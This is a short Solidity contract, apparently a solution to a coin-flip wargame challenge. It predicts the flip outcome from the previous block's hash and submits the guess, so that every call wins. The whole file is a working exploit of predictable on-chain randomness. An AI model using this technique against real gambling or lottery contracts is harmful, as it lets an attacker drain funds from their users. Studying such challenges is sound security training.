Frontend.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "src/CoinFlip.sol";

contract Frontend {
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function step(CoinFlip flipper) public returns (uint256) {
        require(
            flipper.flip(
                uint256(
                    blockhash(
                        block.number - 1
                    )
                ) / FACTOR == 1 ? true : false),
            "not submitting incorrect guess"
        );
        return flipper.consecutiveWins();
    }
}